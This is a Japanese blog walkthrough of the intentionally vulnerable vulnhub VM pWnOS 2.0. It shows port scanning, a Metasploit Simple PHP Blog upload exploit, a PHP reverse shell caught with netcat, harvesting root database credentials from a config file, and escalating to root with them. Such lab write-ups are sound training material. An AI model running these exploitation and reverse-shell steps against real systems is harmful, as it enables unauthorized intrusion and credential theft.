0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

vulnhub Walkthrough:pWnOS: 2.0 (Pre-Release)

Last updated at Posted at 2021-01-11

初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたpWnOS: 2.0 (Pre-Release)のWalkthroughとなります。

vulnhubの情報

Name pWnOS: 2.0 (Pre-Release)
Date release 4 Jul 2011
Author pWnOS
Series pWnOS
Web page http://pwnos.com/

PortScan:

sshApacheが稼働しています。

PORT SERVICE VERSION
22 ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80 http Apache httpd 2.2.17 ((Ubuntu))

root@kali:~# nmap -sS -sV 10.10.10.100
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 20:03 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.100
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 08:00:27:75:1D:13 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds

Enumeration:

Simple Blog 0.4.0のCMSツールを使っていることがわかりました。

スクリーンショット 2020-05-10 20.28.02.png

SimpleBlogというCMSはsphpblogとも呼ばれているようで、バーション0.4.0には脆弱性が存在します。


root@kali:~# msfconsole 
msf5 > search sphpblog

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/webapp/sphpblog_file_upload  2005-08-25       excellent  Yes    Simple PHP Blog Remote Command Execution

Exploitation:

脆弱性が存在することがわかったので、metasploitを使ってexploitしていきます。
exploitの実行した結果、シェルの獲得はできませんでした。
ですが、ログインIDが発行されており、ログインをおこなうことができました。

[+] Successfully logged in as J5xlbv:J60g8E

msf5 exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf5 exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
URI => /blog
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit

msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.10.23:4444 
[+] Successfully retrieved hash: $1$bQ1Zx6r.$YuFIUQKUSFrId4cMAp//b.
[+] Successfully removed /config/password.txt
[+] Successfully created temporary account.
[+] Successfully logged in as J5xlbv:J60g8E
[-] Error retrieving cookie!
[+] Successfully Uploaded medqGCz2aIwuIkwaJAK6.php
[+] Successfully Uploaded akLzPlK3kcl4EHPPnin0.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/medqGCz2aIwuIkwaJAK6.php
[*] Calling payload: /images/akLzPlK3kcl4EHPPnin0.php
[+] Successfully removed /images/akLzPlK3kcl4EHPPnin0.php
[*] Exploit completed, but no session was created.

Uploadを行う場所があったので、とりあえずリバースシェル(kali linux同梱のphp-reverse-shell.php)をアップロードしてみます。

無事にアップロードできている模様です。

スクリーンショット 2020-05-10 20.43.32.png
スクリーンショット 2020-05-10 20.45.54.png

リバースシェルを実行したところ接続することができました。


root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
10.10.10.100: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.23] from (UNKNOWN) [10.10.10.100] 32808
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
 16:46:36 up 48 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      16:01   45:22   0.21s  0.19s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off

Privilege Escalation:

接続先を調べていると、/varしたにgmysqli_connect.phpがありrootのユーザ情報がありました。


$pwd
pwd
/var
$ ls
ls
backups  crash       lib    lock  mail                opt  spool  uploads
cache    index.html  local  log   mysqli_connect.php  run  tmp    www
$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:

$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );

先ほど見つけたユーザ情報でroot権限を取得できました。


$ su root
su root
Password: root@ISIntS

root@web:/var# id
id
uid=0(root) gid=0(root) groups=0(root)

免責事項

本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?